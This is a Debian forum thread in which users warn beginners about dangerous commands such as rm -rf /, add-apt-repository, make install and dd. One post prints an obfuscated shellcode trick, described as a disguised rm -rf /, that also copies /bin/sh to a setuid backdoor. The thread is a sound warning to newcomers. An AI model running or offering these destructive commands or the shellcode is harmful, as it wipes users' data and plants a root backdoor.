10 commands that beginners should not use

New to Debian (Or Linux in general)? Ask your questions here!

10 commands that beginners should not use

Postby GarryRicketson » 2017-12-10 11:50

In another topic, that got locked before I could reply, and with good reason,...
Anyway, this is something any user should know, before using the:
Code: Select all
 rm -rf

https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
1. rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

rm command in Linux is used to delete files.
rm -r command deletes the folder recursively, even the empty folder.
rm -f command removes ‘Read only File’ without asking.
rm -rf / : Force deletion of everything in root directory.
rm -rf * : Force deletion of everything in current directory/working directory.
rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion

And, don't start calling people names, it will result in the topic getting locked,
also many will just start ignoring you.
Forum guidelines. Please read before first post!
Summary
The following might get your post EDITED:
- Profanities
- Links to inappropriate websites

The following might get your post/ thread LOCKED
- Flaming/ personal attacks
- Obvious trolling
- Thread has wandered way off topic
- Cross posting

The following might get your post REMOVED
- Advertising/ Spamming
User avatar
GarryRicketson
 
Posts: 4588
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: 10 commands that beginners should not use

Postby Head_on_a_Stick » 2017-12-10 12:38

Another command not mentioned in the list but also not suitable for beginners to the Debian packaging ecosystem:
Code: Select all
# add-apt-repository $whatever

https://wiki.debian.org/DontBreakDebian

:roll:

Also:
Code: Select all
./configure
make
# make install

Is resorted to far too readily by n00bs, IMO.

(See also http://forums.debian.net/viewtopic.php?t=38976)

EDIT: clarified.
"To be free is nothing, to become free is everything." — Hegel
User avatar
Head_on_a_Stick
 
Posts: 6988
Joined: 2014-06-01 17:46
Location: /dev/chair

Re: 10 commands that beginners should not use

Postby NFT5 » 2017-12-10 12:47

2. wget..........debian?
User avatar
NFT5
 
Posts: 215
Joined: 2014-10-10 11:38
Location: Canberra, Australia

Re: 10 commands that beginners should not use

Postby debiman » 2017-12-10 18:44

9. sudo + (a lot of things)
e.g.:
Code: Select all
sudo startx
User avatar
debiman
 
Posts: 1750
Joined: 2013-03-12 07:18

Re: 10 commands that beginners should not use

Postby Randicus » 2017-12-11 04:10

GarryRicketson wrote:In another topic, that got locked before I could reply, and with good reason,...
Anyway, this is something any user should know, before using the:
Code: Select all
 rm -rf

https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
I suggest posting the contents of the rm man page, instead of that horribly written extract. The English mistakes give me the willies and I cannot take anyone seriously who uses Windows terminology on a Linux or BSD site. (Yes, I am too sensitive about terminology, but that is me. :D )

A good resource to refer people to for basic command line knowledge is "The Book" on the Slackware site. It is what I learned from.
http://www.slackbook.org/
Randicus
 
Posts: 2664
Joined: 2011-05-08 09:11

Re: 10 commands that beginners should not use

Postby VentGrey » 2017-12-11 04:56

The popular "Let me make your computer quick using hex"
(A disguised rm -rf /)
Code: Select all
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
“I felt myself on the edge of the world; peering over the rim into a fathomless chaos of eternal night.”
― H.P. Lovecraft after trying Debian SidImage
User avatar
VentGrey
 
Posts: 161
Joined: 2016-04-26 23:57
Location: Guanajuato México

Re: 10 commands that beginners should not use

Postby Wheelerof4te » 2017-12-11 17:27

Newbies should also avoid using
Code: Select all
dd

command for writing images to USB. Always use GUI programs, on GNOME that would be GNOME Multi Writer.
User avatar
Wheelerof4te
 
Posts: 540
Joined: 2015-08-30 20:14

Re: 10 commands that beginners should not use

Postby Segfault » 2017-12-11 19:13

After using
Code: Select all
rm -rf /
one is not beginner any more. Because experience is something you get just after you needed it.
Segfault
 
Posts: 590
Joined: 2005-09-24 12:24


Return to Beginners Questions

Who is online

Users browsing this forum: No registered users and 6 guests

fashionable